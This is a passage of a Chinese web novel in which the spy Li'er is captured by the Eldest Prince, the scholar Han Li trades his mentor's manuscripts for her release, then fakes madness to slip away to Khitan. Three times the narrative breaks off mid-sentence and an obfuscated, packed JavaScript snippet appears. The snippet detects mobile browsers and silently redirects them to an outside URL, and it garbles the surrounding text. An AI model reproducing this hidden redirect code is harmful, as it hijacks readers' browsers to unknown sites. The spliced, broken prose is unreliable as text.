这有什么好痛的,我连败骨毒都能生扛。 后来,每一次败骨毒发作,她都乐在其中,她不吃解药,就生生熬着,在痛中寻找乐,在生不欲死中找寻超然。 她想着,曾经被她杀过的那些人,死前也是这般痛吗?当斧头砍到骨头里,当剧毒游走于五脏六腑,当圆月弯刀捅进心脏。 她在痛苦中堆砌出一个似是而非的人样来,在痛苦中,感知到自己原来也是个人,原来也会这般痛不欲生。 每次败骨毒发作结束后,她又变回了那个无坚不摧,心硬如铁的契丹第一暗探鲤儿。 当暗探的第二年,她接到了一个任务,要去刺杀一个身经百战的将军。她不管那位将军到底有没有反心,身手如何如何了得,直接提着刀就去了,因为她知道,他若是不死,死的就是自己。 可那位将军身材高大,武功高强,她根本就不是他的对手,几十招下来,她已身负重伤,头发散乱,倒地不起,可那位将军还能一边悠哉游哉吃着早饭,一边和她过招。 她竭尽全力,却连将军手里的炊饼都伤不了分毫。 她知道自己这次必死无疑了,闭上眼睛,等待死亡。 生死之际,她想起了自己还有血仇未报,她想到自己被父亲卖给契丹人后日日过着刀尖舔血的生活,而父亲却能拿着这笔钱在大渊过上不错的生活。五十两银子,抵得上几个庄稼汉一辈子的收成了。 她不甘心,她不想死,她还想回去问问父亲,为什么当年说她生下来就是吃苦的命,她还想报仇。 就是这样一股信念支撑着,她体内忽然又有了力量,她以迅雷不及掩耳的速度起身,拿起了桌边的一双筷子,顺着将军的两个鼻孔斜插进了他的脑颅深处。 那是她人生最精妙绝伦的一次出手,快,准,狠,多一分,少一分都不行,每一步都是那么精准无比。 自那次以后,她就苦心学习用毒制毒,她知道,命运不会每次都眷顾她。 几天之后,同门告诉她,那位将军的部下为将军沉冤昭雪了,将军是个好人,他带兵驻扎城外,只是想逼契丹王把这些年欠将士们的军饷都给补了。 只要军饷一发,他就立刻卸甲归田,回去老婆孩子热炕头。 契丹王以王室规格厚葬了将军,葬得风风光光,极具排场,唯独军饷还是没发。 难怪啊,难怪当时他不杀我,鲤儿恍然大悟。 一代赫赫有名的将军,血战沙场,守卫契丹子民数十载,竟是这样荒诞的死法,死得又是那样冤枉。 从那以后,鲤儿开始期待败骨毒毒发之痛了,她觉得,她已经对那种痛上瘾了。 或许就是从大渊被卖出去的,那些年来,她总觉得自己还会回大渊。 围场之变和血洗契丹王宫,她都立下了大功,耶律权准许她到大渊执行王命。 她很快找到了父亲,找他并不难,这家伙那么看重香火延续,只需在自家祖坟守株待兔即可。 当夜她杀了他,大仇终于得报,可报完仇后,她又该何去何从,她不知道。 在大渊的这几个月,她第一次做回了一个人。 第一次在冬至吃上一碗热乎乎的饺子。 第一次救人,救一个怀孕多月的女子,送她去看郎中。 第一次到城隍庙看烟火,穿过人流,和一位幼年因训练结识的同门拥抱。 第一次买了属于自己的宅院,虽然钱是从变卖质子宅的物什得来的。 在自己的宅院里,她不用在手心点上线香便能安眠,也不用睡在棺材板里,不用风餐露宿。 质子府也没什么值钱的东西,搬空了也只能在京都买上一间屋子。 这个家很小,只够放个几个柜子和一张床,没有她父亲以前的宅子大。 那宅子有后院,有十几间厢房,可那有什么用呢?偌大的宅子,不也容不下一个女子。 第一次,她养了一条蛇,每日喂给它很多大鼠,可它依旧不亲近她。 她不介意,她甚至希望,世间所有的生物能能像蛇一样,不管你为它付出多少,它只需知道你不会伤害它,不会攻击你就行了。 它永远不会对人产生依赖和眷念。 或许,她们本质上是同类。 有脚步声传来,鲤儿停止了回忆。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14854100|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “大皇子,别躲着了,你有什么要问的就问吧。” 暗室里突然点上了灯,鲤儿赶紧闭眼。 “说说吧,你是如何得知本王养了一批死士。” 鲤儿笑了笑:“这么说,原来您还真养了死士啊。” “不说的话,只能等死,契丹的拜骨毒自有你受的,都省得本王用私刑了。” 三日前 萧照动用自己的势力在京都散布消息,“契丹探子查到了大皇子在京都养了批死士”。 消息一出,整个京都沸沸扬扬。 大皇子?就是那个足不出户,吃斋念佛的大皇子,这不能吧! 这可说不准,没准人家私下吃喝嫖赌什么都来呢? 契丹在京都居然安插了那么多探子。 一时间,各种猜测传得有鼻子有眼,竟无法找到最先散布消息的那批人。 阿勒齐不解:“世子,为什么废那么大劲散布谣言啊?” “不是十成十确定,但若是大皇子做贼心虚对契丹有所动作,那他定是养了批死士或者有自己的军队,足以证明本世子先前的猜测没错。” “那要是大皇子本来没养死士呢?你这么说,可会害了他。” “若没有,那就混当本世子造谣了,反正天下那么多谣言,又不差本世子这一嘴。” “依世子之见,大皇子会怎么动作?” “不会有什么大动作,一旦有大动作,岂不明摆着告诉天下人他大皇子就是暗中养了批死士吗?所以,只能偷偷去抓那些只负责监视他的契丹探子。” “鲤儿?” “除了鲤儿,契丹哪里还有人怀疑过大皇子,这是唯一的线索。” “世子,你为什么想要大皇子去抓鲤儿?” “那当然是为了要救她,没有人抓她拷打她,又何来救人之恩呢?” “意思是您还要救她?” “自然是韩厉了,难道是你我吗?本世子可不想从养一群死士的皇子手里抢下人命。” “这,世子,这人既不是我们抓的,也不是我们救的,我们忙活半天都还没上桌吃饭啊。” 萧照沉思一番,“别着急,现在我们是势孤力薄,还不能站在台前,台下十年功,这种日子快到头了。” “阿勒齐,你快告诉韩厉,鲤儿或许知道他的身世,欲救从速。” 两个时辰后,韩厉风尘仆仆赶来了,阿勒齐紧跟其后。 “萧兄,你说鲤儿知道我的身世,这不可能,这不可能,她一个契丹人……” 良久,韩厉痛苦地闭上眼睛,喃喃道:“除非,我真的是耶律安的儿子,除非,长公主就是我的生母,萧兄,你可知这些于我来说意味着什么?” “你既已猜到了,便更应该去救鲤儿,你对契丹王室一无所知,只有借助她的力量,你才能拿回属于你的一切。” “从大皇子手上要回一条命有何难?我自会去相救,只是,我要亲自问问我的身世,萧兄,如若你敢骗我,我会让你喀沁全族覆灭。” 23.救人 韩厉依照萧照所言,找到了鲤儿先前置办的小院,准备来上一出愿者上钩。 走近院落,韩厉才发现这名契丹探子穷得吓死人,这哪是什么小院,就是一间屋,门口种点菜,扎个篱笆而已。 他们契丹人每年花那么多心血,疏通那么多关系,好不容易把探子塞到京都来,然后是一块铜板也不舍得给自己人啊! 契丹王室是真抠啊,自以为用拜骨毒控制探子可以独步天下,但是,这年头没有钱能挖到什么秘辛,他们的探子怕是会被大渊显贵们当成要饭的打发了,也难怪,这些年来契丹在大渊查不到什么有用的东西。 韩厉走进屋子里,查探四周,发现这里除了养了一条蛇外并无其他可疑之处。床边还有一套未绣完的小被子,应该是给那条蛇冬眠用的,看绣工,至少已经花费了十天半月。 天爷啊,这契丹探子刚来京都的时候杀气腾腾,兢兢业业,结果这才多久,就安于享乐,顾小家忘大家,天天玩蛇了。 不对,一个探子养猫养狗不好吗?为何偏偏要养这种长虫,事出反常必有诈,韩厉盯着蛇腹,越发觉得里面可能藏有秘密。 他拿起蛇,在蛇腹那里东摸摸西摸摸,半天也没摸到什么,或许,这契丹探子养蛇并非是要传递什么情报,只是为了时刻警示自己做探子要如长虫般能屈能伸。 桌子旁赫然放着一本《京都女子实录》,看纸张磨损,想必那探子也是时时翻阅,韩厉把那部书用布给蒙上了。 或许这部书曾是自己呕心沥血所作,多少日夜,多少辛酸泪,书成之后,再看此书竟有些心窒难忍。 都坐了这么久,大皇子的暗卫怎么还没来,废物,废物,都是废物点心,难怪都像老鼠般龟缩京都一隅,成不了什么大事,韩厉在心中骂道。 说时迟那时快,一把刀正端端正正架在韩厉脖颈处。 “韩公子,我家主人有请。”声音从背后传出,背后之人似乎是认得他。 “且慢,我怀中有几卷书画,容我呈给你家主人,我想,你家主人会喜欢的。”韩厉不慌不忙答道。 大皇子在府中自顾自地下棋,一见到韩厉抱着几个卷轴前来,不由得脱口而出:“本王没钱,不买字画。” 暗卫:??? 有一暗卫偷偷绕到大皇子身后,耳语一番,王爷,这人是在那契丹探子家中抓获。 “哦?竟有此事。”大皇子一挑眉,第一次认认真真地打量了韩厉一遍,彷佛从未认识过他。 “本王竟不知,韩兄的生意如此手眼通天,一边向王侯显贵卖字画,一边和契丹暗桩有所往来,中间还能抽出时间给皇后娘娘写部名动天下的奇书。” “不才不才,世道艰难,读书人多有身不由己之处,这些年来,韩某虽师承楼太傅,却未曾能在王爷面前卖出过一幅丹青,心中时常抱憾不已。” “怎么,想在本王面前演一出图穷匕见?” “王爷,若您今日看过这些笔墨,我想日后您一定会为这些年来的不肯赏脸而感到无穷尽的后悔。” “好狂妄的口气,拿一幅上前,本王今日便要瞧瞧你韩厉究竟是何方神圣。不过丑话说在前头,就算你是二王转世,文曲星下凡,这些笔墨本王还是不买,可若本王发现这一切只是你口出妄言,本王会亲自送你上天葬台。” “活人送到天葬台?王爷也不怕百世轮回,报应不爽。” “活人死人又有什么区别,都是人而已。”大皇子接过手下呈上来的卷轴,徐徐展开,边说道:“既然韩兄觉得世道艰难,本王便提前祝你有今生无来世,所有苦难都在今生今世结束。” 画卷完全展开后,大皇子大惊,这居然是《林下听风图》,李苍雪先生所作的《林下听风图》。 韩厉饶有玩味地盯着大皇子,大皇子此刻全然顾不上他,正逐步确认画中细节。 “别确认了,都是李先生的真迹,这幅只是个《林下听风图》,李先生闲暇所作,那些大名鼎鼎的丹青才是真可惜,你都没看到啊。” “《林下听风图》是先生早年游历名山所作,技法画意皆是顶级,你一介书生,卖字画为生,从哪里偷得先生的丹青。”说完,便拿剑直指韩厉。 韩厉:??? 你们皇室的人怎么都喜欢拿剑指着别人,有什么话不能坐下来好好说吗? 心里这么想,可嘴上说的却是:“王爷,臣只是皇后娘娘手下的一介小小抄书文官,哪里敢偷李先生的大作啊。” “世人不知,臣和李先生确实是莫逆之交。不信您看,画中小字有‘赠韩氏小友’,是先生生前亲笔所写。” 大皇子一看,果真有,不由得信了几分。 “况且,王爷身边的暗卫也是认识臣的,想必是暗中保护李先生时经常看见臣与李先生来往。” 大皇子看了身后暗卫一眼。 那暗卫躬身行礼,悄悄说道:“回王爷,确有此事,属下曾看到李先生从韩公子手里买了很多书画,只是那段时间韩公子逢人便问要书画否,在京都大赚了一笔,还在京郊添置了宅子,属下本以为他们只是书画买卖关系,并未深查。” 大皇子点点头,确实如此,他也记得这家伙有段时间就像狗皮膏药般逢人便要卖书画,不过是仗着背后有太傅,以势压人罢了。 韩厉无奈摇摇头:“原来我与李先生的忘年之交,倾盖如故,在世人眼里竟然不过是铜臭一堆,可叹可笑,更何况,我韩厉的书画,李先生和楼太傅都称赞不已,哪里不值钱了。” “这些书画,开个价吧,你有多少本王要多少。” “韩某如今不短银钱,只想用这些书画换一人。” “谁?” 韩厉又笑道:“王爷明知故问了,这永王府里,暗卫死士我是一个都不认识,只认识你们抓来的那个鲤儿,不是她还能是谁?” “你果真与那契丹探子勾结,来人,把他拿下。”电光火石间,大批暗卫上前将韩厉团团围住。 “王爷莫急,真是贵人多忘事,王爷还欠韩某一个天大的人情未还呢。” “胡说八道,本王何曾欠过你人情。” “王爷可知,李先生曾经让韩某查过王爷是否有通敌卖国之举。” 闻言,大皇子大惊,挥挥手,屏退左右,一时间,只剩自己和韩厉两人四目相对。 “休要口出妄言,本王何曾通敌叛国过。” “王爷,如今这间屋子只剩你我两人,就不必绕来绕去了,您有没有通敌叛国,或许旁人不知,但是自幼看着您长大的先生岂能察觉不到。” 大皇子回忆起李苍雪先生之前的些许古怪行为,突然顿悟,原来先生那时是在试探自己,用心良苦,竟今日方从外人口中得知。 “说下去。”大皇子冷冷道。 “李先生定是在您身边察觉到什么了,可他无法接受自己隐姓埋名苦心教导的皇子居然变成了这样,一边事实胜于雄辩,一边又相信自己教出来的孩子的为人,先生为此苦恼了好一阵。” “所以,先生就找你探查,他居然找上了——你?” 韩厉装出不解的表情:“为何不能找韩某,韩某自认为文韬武略无所不能,乃是百年难得一遇的奇才,区区查案,自是不在话下。” “你查到了什么?” “自是大皇子确实勾结北羌通敌叛国了。” 大皇子恍然大悟,“原来那时候你明面上求本王买字画,实则是在查本王。韩厉,你好大的胆子。” “王爷多虑了,卖个字画而已,又能查到什么,要查王爷,只能从北羌那边入手,至于字画,那时我是真想卖给王爷,同样的一幅丹青,卖给百姓,只能换块饼饱腹,就算卖给李先生这样的大儒,也只能在京都买一间屋子,可卖给王爷这样尊贵的宗亲,便能在京郊置办个不错的宅子。” “哦,是吗?那后来怎么不来本王这里卖了。” 这个回答出乎韩厉的意料,“臣后来遇到了皇后娘娘,娘娘出手阔绰,前所未有,故而就不叨扰王爷了,王爷,您难道就不好奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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韩厉笑道:“查探虽难,好在韩某才智过人,八面玲珑,不久便查到王爷确实是勾结了北羌有卖国之举,至于其中细节,韩某不便细说,李先生又是如何察觉到王爷异样,韩某也不便细说。” 大皇子等得棋都下完一局了,而韩厉绕来绕去又绕回到一刻钟前的事情,此刻,他是真想将眼前之人一刀砍了大快人心。 “查到之后你是如何答复先生的?”大皇子终于忍不住问了出来。 韩厉心中暗喜,还是沉不住气啊,看来在大皇子心里,李苍雪确实非同一般,赌赢了。 似胸有成竹,韩厉悠悠说道:“韩某不忍先生痛心,骗了先生,说大渊气数已尽,难以力挽狂澜,王爷和太子曾有过约定,一暗一明,无论最后天下之主是谁,无论是在北羌还是大渊,都要守护好天下苍生。” “王爷,如此算来,你还真是欠了韩某一个不大不小的人情,韩某想向您换一个人不过分。” 该说的没说,不该说的韩厉叽里咕噜说了一堆,大皇子忍无可忍无须再忍:“既已知道本王投敌叛国还隐瞒不报,狼子之心天地可鉴,本王今日不杀你才是对不起江山社稷。” 韩厉只是笑了笑,用指尖将剑尖轻轻一挪,“别着急啊,笔墨丹青这些只是先生闲暇所作,先生真正呕心沥血的六经集注我还没托付好呢,您这会杀了我,那六经集注可怎么办啊?” “把先生所有的书画都交出来,我给你留个全尸。” “先生的书画,在哪里啊?我想想,我似乎是放到了一位妇人家里了,那妇人刚刚生产,月子还未出就要照料嗷嗷待哺的婴孩,她的婆母甚是恶毒,寒冬腊月,竟舍不得让她用上炭火暖身。” 韩厉突然顿了顿:“大皇子,您说,对于一个不识一字还在坐月子的妇人来说,她会不会将这些书画给烧了取暖。” “那妇人在哪?” “你若将鲤儿姑娘放了,我自是会告诉你。” “人我可以放,只是明日我要见到六经集注。” 24.舍不得 走出永王府的时候,韩厉看似云淡风轻,波澜不惊,实则脚下的虚浮只有自己才知道。 明明救出鲤儿就能确定出自己的身世,萧照说,他与前契丹王有八成像,这身世他已能猜到,只是他从不敢相信。 怎会如此,他一直要找的生母居然曾经就在自己身边,远在天边近在眼前,他的生父居然真的就是耶律安。 先生曾说,做学问有三种境界,先是见山是山,见水是水,然后是多年苦读,浑浑噩噩,迷失其中,见山不是山,见水不是水,最后才是山穷水尽柳暗花明,见山是山,见水是水,超然物外,物我两忘。 他的身世,居然比做学问还要山重水复,可叹可笑。 亲生母亲将他养大却对所有人说他不是她的孩子,对他极为冷漠,刻薄寡恩,最后连他自己都深信不疑自己的生母只是个无名氏。 母亲的挚爱被他杀了,而舅舅又视他为棋子,利用他伏击他的亲生父亲,使其死在了围场兵变里,而他自己,此生未曾见过生父,对于生父的音容相貌如今也只能从那契丹探子口中探知一二。 他还阴差阳错亲自手刃了一个骨肉兄弟,那个人去而复返只是想带他回家。 身世如此,苍凉无比,可韩厉不知为何,真正感到锥心之痛的却是要拿六经集注去换一个探子的命,尽管见到那探子便能确认自己的身世。 生母,生父,身世,如今真正让他舍不得的居然是六经集注这几部儒经。 此刻他心中竟隐隐期望大皇子能反悔,不换了,那个探子死生他都不问了,李苍雪的书还是由他保存。 他还是曾经的那个书痴韩厉,每日一心只读圣贤书,两耳不闻窗外事。 身世又如何?有母有父又如何,血浓于水,血也浊于水,不过是彼此勾心斗角害人害己罢了,哪有诗书至纯至性可抵岁月悠悠。 如若他真能选,他宁愿生母只是个无名氏。 韩厉失魂落魄地来到质子府,却看见萧照和阿勒齐正奋笔疾书地抄写李苍雪的六经集注。 “不用白费功夫了,抄不完的,李苍雪的所有集注底稿明日便要交给大皇子了,哪怕我们三个不眠不休,最多也只能抄到董仲舒那卷。” 萧照不理他,继续埋头苦抄。 “用那么好的儒经去换一条人命,真不值得,萧兄我想反悔了。”韩厉冷冷道。 萧照停下笔,思虑一番:“代价确实过大,所以更不能让这些经书白白折损了,韩厉,你定要从耶律权手里夺回契丹王之位,方配得上你这一路所失去的。” “别时容易见时难,不知今生今世可还有机会再见到这些经书。” “有,韩厉,下次你再见到这些经书典籍便是你挥刀南下入主中原之时。” 韩厉原本动摇的心忽然平静下来,是啊,萧照说得很对,权柄远比诗书重要,民为轻,君为贵,社稷次之。 阿勒齐看着两人一顿唏嘘,总也想不通,拿书去换一条人命,这很难选吗?死物哪有人重要?这些读书人日日口口声声说着救人一命,胜造七级浮屠,嘴上光风霁月,心里还是这般那般舍不得,读书人,好恶心啊。 已到约定时间,大皇子去自家地牢里将鲤儿提出来。 “你很幸运,是这些年来唯一能从这里活着走出去的人。本王和韩厉约定好,只要本王愿意放你一命,他便将本王想要的东西奉上。” 鲤儿不屑一顾,“我不想回去,回去就要没日没夜地给契丹人干活,还不如在你这暗室里呆着,冬暖夏凉,三餐不愁。” “没想到契丹探子也有中拜骨毒而不忠者,有意思。” 韩厉,萧照,阿勒齐抄书抄到天亮,眼见时辰到了,还是不肯停笔。阿勒齐赶紧将两人手中的笔夺去。 “二位公子,人命关天,可不能再耽搁下去了。” “把笔还给我,我还能再抄上一段。” “阿勒齐,我这句话还未抄完,让我抄完再停笔。” 阿勒齐不理他们,赶紧将那些底稿收拾收拾整理到一处,然后放在书箱里锁了起来。 韩厉只得起身背起书箱赶到永王府。 萧照看着那远去的书箱,不由得悲从中来,难怪李苍雪先生由儒转佛了,人世间有太多难以割舍的东西,不修佛,怎能释怀。 阿勒齐看着萧照一脸快哭出来的表情,不禁撇了撇嘴,不是我说,至于吗?不就几部破书,送我阿勒齐当手纸我都嫌硌得慌。 萧照将所抄写的纸张整理好后也起身收拾收拾仪容,准备去拜见楼太傅。 应天府书院,楼景谦正容光焕发地喝着糖水,批阅着诸生的文章。 “学生萧照前来拜见先生。” “恕和,你来得正好,为师我刚看了你的文章,写得甚好,你的天资不输韩厉。” 听着先生的夸张,萧照依旧兴致恹恹,只是说了几句承蒙先生厚爱。 楼景谦看出萧照精神萎靡,眼下乌青,“怎么了,你神色有异,到底出什么事了,你且告诉为师,为师好为你指点一二。” 萧照无奈,只得说了句:“先生,无大事,只是学生近日不慎丢了件心爱之物,甚是舍不得,茶饭不思,昨夜整宿也无法安眠。” 楼景谦听罢,笑了几声,“我当还以为是什么大事呢?不过是丢了东西而已,恕和,或许那物什与你无缘,天地无物的来和去,都有它自己的自在。” “可学生还是舍不得,心如刀割。” 楼景谦拍了拍萧照的肩膀,宽慰他:“恕和啊,世间物,再舍不得也没用,做人就是慢慢在‘舍不得’的修行中领悟‘舍得’,恕和,你现在的修行还是不够啊。” “那依先生所言,怎样才能修行好‘舍不得’和‘舍得’?” “像为师这样便可以了,波澜不惊,心如止水,任尔东西南北风。” 阿勒齐看着两人你一言我一语地大谈特谈修行,心中幸灾乐祸,先生,既然你已经修行好了,那世子可就要给您上剂猛药了。 萧照冷不丁地说了句:“先生,韩厉近日患了失心疯了。” 楼景谦:???心中瞬间天雷勾地火万千啊啊啊啊,你说什么,我的爱徒疯了,我百年之后可是要传衣钵给他的,他怎么就…… “怎会如此,他前两日还好好的,怎会如此,恕和,莫要和为师开这样的玩笑。“楼景谦紧握萧照的手颤抖着,良久不肯松开。 萧照似乎是不忍继续说下去,低头不语。 阿勒齐见状上前补了一句,“是的,先生,我们亲眼所见。他突然失心疯了,烧了许多书画,还把你存放在他那的李苍雪先生的六经集注给烧了。” 楼景谦大喊:“什么,你再说一遍,韩厉把什么给烧了。” “李苍雪先生的六经集注。” 楼景谦闻言,一时急火攻心,支撑不住,居然晕了过去。 “先生,醒醒啊,醒醒。”萧照大喊。 “来人啊,先生晕了过去,快来人啊。”阿勒齐一边掐着楼景谦的人中一边大喊。 应天府书院诸生赶紧过来查看,大家一时不解,先生怎会突然晕了过去。 “我告诉先生,韩厉失心疯了,将先生的珍爱之书全给烧了。” 诸生的关注点却是:“好端端的,韩厉怎会突然疯了。” 阿勒齐插句:“大抵是读书读到走火入魔了,坊间不是有句话不疯魔不成诗书。” 出乎众人意料却又在情理之中,依照韩厉那个嗜书如命的性子,每天雷打不动苦学七个时辰,这样长久下去要么疯魔要么就是下一个不输李苍雪的大渊大儒。 萧照临走之前叮嘱好诸生,定要看紧先生,切莫让先生去寻韩厉。 “为何?” “韩厉如今疯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909382|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得厉害,见人就砍,见狗就骂,已认不得亲故了,每日舞刀弄剑,衣衫不整,先生手无缚鸡之力,去了怕是会被他给伤到。” “他如今每日可还继续读书否?” 这个问题让阿勒齐费解,不是,他韩厉都疯了,还读什么书啊? 萧照倒是波澜不惊:“如今神智恍惚,怕是认不得字了。见书就烧,寒冬腊月,把典籍都当成炭火烧了取暖。” 众人一阵唏嘘,学如逆水行舟,一日不学,功力便倒退两日,日后韩兄清醒了该有多恼。 可惜啊,天妒英才,以韩兄的资质及努力,假以时日,便是大渊新一代大儒,可惜可叹啊! 阿勒齐看着众人长吁短叹,心道:这应天府书院全是披着人皮的书疯子。 几日后,太子在东宫突然接到急报。 “你说什么?太傅刚被一个读书读得走火入魔的书生给捅了,命在旦夕,快摆驾,速到太傅府,本宫要去看看太傅情况如何了。” 太子边走边说,属下蜂拥而至紧随其后,一时间,场面颇乱。 “抓住那疯子没,本宫定要严惩不贷。” “回殿下,那疯子如今在京郊韩府,见人就砍,武艺高强,且太傅下过令,不得伤害那人,我等不好近身。” 太子突然了停下来:“京郊韩府?那走火入魔的书生可是韩厉否?” “回殿下,正是。” 太子殿下紧皱眉头,叹了口气,下了道命令:“既已疯了,神智全无,言行虽荒唐,却非出自本心,大渊律法也怪罪不得疯子,大渊民风淳朴,断不会容不下一个失智之人,传令下去,任何人都不得伤害韩厉。” “诺。” “对了,给韩厉请个好点的郎中看看,什么好药都不要吝惜,务必要治好他。” 太子看望过楼景谦后,马不停蹄地赶往京郊韩府。 “太子殿下到。”门口有人通报,暗卫已经提前将韩厉手中的刀剑夺去,并将其五花大绑起来。 “松开他。” “殿下,这人已经失心疯了,怕是会……” “无碍,他身上已没有什么利器,不会伤到本宫,你们都退到五步外,本宫要和韩厉说些要紧事。” 待众人退到五步外,太子殿下赶忙上前问:“韩厉,你是知道你的身世了?” 韩厉并未回答,只是一巴掌狠狠扇在了太子脸上,太子殿下脑袋瞬间嗡嗡响,等他转回头来,手下侍卫已将韩厉团团围住。 太子殿下顶着半边脸上的红掌印,急拦道:“别伤害他,这不怪他,他只是失心疯了。” 太子殿下接着问道:“韩厉,你可曾认得我?” “你是谁这还用问吗?你是大粪,你是蛆,我每日上茅房都看得见你,别以为你换身衣服我就不认识你了。” 韩厉又看了看周遭的太子侍从,仰天长啸,大声道:“尔等身处粪坑中竟也生得如此人模狗样,真是出淤泥而不染,狗咬狗而不破皮。” 太子手下所有侍卫汗流浃背。 “韩厉,不管你是真疯还是假疯,本宫都希望你能记住,你永远都是大渊子民,本宫和长公主都希望你能自在随心,不受枷锁约束,远离是非繁杂。” “汪汪汪,汪汪,汪,汪汪汪汪。”韩厉在地上乱爬,边爬边学着犬吠。 太子殿下不忍相看,闭上了眼睛,只说道:“韩厉,好自为之。” “汪汪汪,汪汪,汪汪!”回应太子的,依旧只有几声犬吠。 韩厉依旧在地上翻滚乱爬,手上膝盖上全是泥泞,一见着人,似乎有口水流出,嗷呜一口,咬了一个侍卫一大口。 那侍卫痛得嗷嗷乱叫,众侍卫也纷纷退避几步,心中苦恼万分,太子殿下有令,不得伤害他,可他虎视眈眈,这可如何是好? 太子殿下见此,道:“回宫吧,他不喜欢我们在这。” 25.密谋 太子一行人走后,韩厉依旧躺在地上,舒舒服服伸了个懒腰。 不知过了多久,鲤儿,萧照,阿勒齐一起走来。 未见其人,先闻其声,“你这个疯装得可真划算,不仅一刀捅了当朝太傅,还狠狠扇了当朝太子一巴掌,大骂太子是粪坑里的蛆,就算是被朝廷一刀砍了,这辈子也是值了。” “要是换做以前,怕是万万不敢,可如今的我疯了,我丧心病狂,我失心疯,我走火入魔,我不是人,哪里还用得着管世俗的礼义廉耻。快活快活,想来做太子也未必有做市井疯人痛快。” “再说,我已经很尊师重道了,那一刀,看似凶险,实则根本未到要害,先生修养几个月便又能生龙活虎,在书院扶着老腰打人手板了。” “尊师重道,哈哈哈哈哈,不杀先生就是尊师重道,楼景谦何德何能,收了你韩厉这个孽障徒弟。怕是要少活十年。”鲤儿听得直翻白眼。 萧照也打趣道:“得亏你韩厉如今没有九族,若是有,就凭刚刚对太子的大不敬,都不用衙门动手,你自己的九族就先将你活活剐了。” 韩厉依旧躺在地上,伸展着胳膊,阿勒齐见状想扶韩厉起来,天太冷了,韩公子,起来吧,地上凉。 韩厉轻轻推开阿勒齐,说道:“阿勒齐,就让我今夜继续躺在这吧,今日一别,日后不知何年何月才能再回到大渊。” “说得好像你心里有大渊似得。”萧照忍不住吐槽。 “说来也奇怪,直到今日,我仍觉得大渊就是座粪坑,可一想到要离开此地,心中竟还是有些许不舍,说出来不会有人信,你我皆是这粪坑里的搅屎棍,将大渊搅弄得污浊不堪,但又有谁能知晓其实我们也在里面下了一点真心。” “非也非也,我与韩兄不同,我只是想在屎上栽花,这世道晦暗,神佛藏身云后,冷眼观苍生受苦,我不过是不想做个浑浑噩噩的蝼蚁而已,不想任宿命玩弄。” 鲤儿听得直翻白眼,“哎我说,你们真是读书人吗?为何言语如此粗鄙不堪令人作呕。” 阿勒齐劝道:“鲤儿姑娘,这才哪到哪,他们一边装出光风霁月的样子和先生谈论诗文,一边在心里勾心斗角的时候那才是真令人作呕。” 韩厉躺在地上开怀大笑,看向萧照:“萧兄啊萧兄,看来这天下人中只有我知你,你刚刚说的应该是石上栽花,出自禅宗,只是一向藏拙惯了,不肯显露真正的你。” “可是心中所思所想,依旧会从只言片语中流露出来,萧照,真正的你,在那残山剩水支离破碎不成文章中,你所谋的,可是要夺去大渊。” 萧照不回答,只是淡淡一笑。 韩厉了然,鲤儿也懂了。 韩厉说道:“鲤儿姑娘想要契丹,我想要大渊,萧兄明面上说想要契丹大渊以外的所有土地,实际上真正想要的也是大渊吧。” “契丹会是你的,喀沁也会是我的,至于日后大渊会是谁的,我们各凭本事。”萧照答道。 “难怪韩某一直觉得你不好对付,原来你我本是一种人,对付你等同于对付我自己。” 韩厉像是想起什么来:“萧兄熟读佛经,不知平日拜的是佛,还是自己的私欲。” “这世间哪有真正拜佛之人,所谓我相信,不过是我渴望罢了。” 阿勒齐听着几人接下来的密谋,不由得汗流浃背,忍不住插了句嘴:“你们这哪里是在谋划,简直就是去送命,不行,不能干这样九死一生的事,还是好好活着比较好,世子,鲤儿姑娘,韩公子,我希望你们都平平安安的。” 三人不理阿勒齐,继续商量要事。 萧照找来了一个身形和韩厉极像的人,鲤儿将此人易容成韩厉的样子,此替身日日在韩府“发疯”,没有人知道,真正的韩厉早已离开京都,远赴契丹,密谋大事。 楼景谦倒是时常看望“韩厉”,见他发疯的样子,全然忘了之前被捅之事,只是心疼不已,哀叹着慧极必伤。 自韩厉走火入魔后,楼景谦便不再向门下诸生过问求学之事,一时应天府书院诸生都松懈了许多,唯独萧照一反常态,更加勤奋苦读,夜以继日,不曾懈怠,甚至都用上了头悬梁,锥刺股。 萧照暗自得意,向阿勒齐炫耀道:“自从韩厉走后,应天府书院便再无学子的文章能在我之上了,先生要想儒学后继有人,怕是只能排除万难,传衣钵于我了。” 阿勒齐在心里吐槽,世子大渊正道倒是没学到多少,糟粕却是学了个十成十。 临近年关,萧照收到了一封家书,他满怀期待地打开,看完之后,两眼一黑。 进京都以来,萧照暗自培养自己的势力,这一月他好不容易在京都重建了喀沁的暗桩,费尽千辛万苦将大渊的经史典籍秘密运往喀沁。 可在喀沁族人眼里,既然能从京都运来一车又一车的书,自是也能运来一车又一车的金银和美人,何不送些钱财美人,好让族人也过个好年。 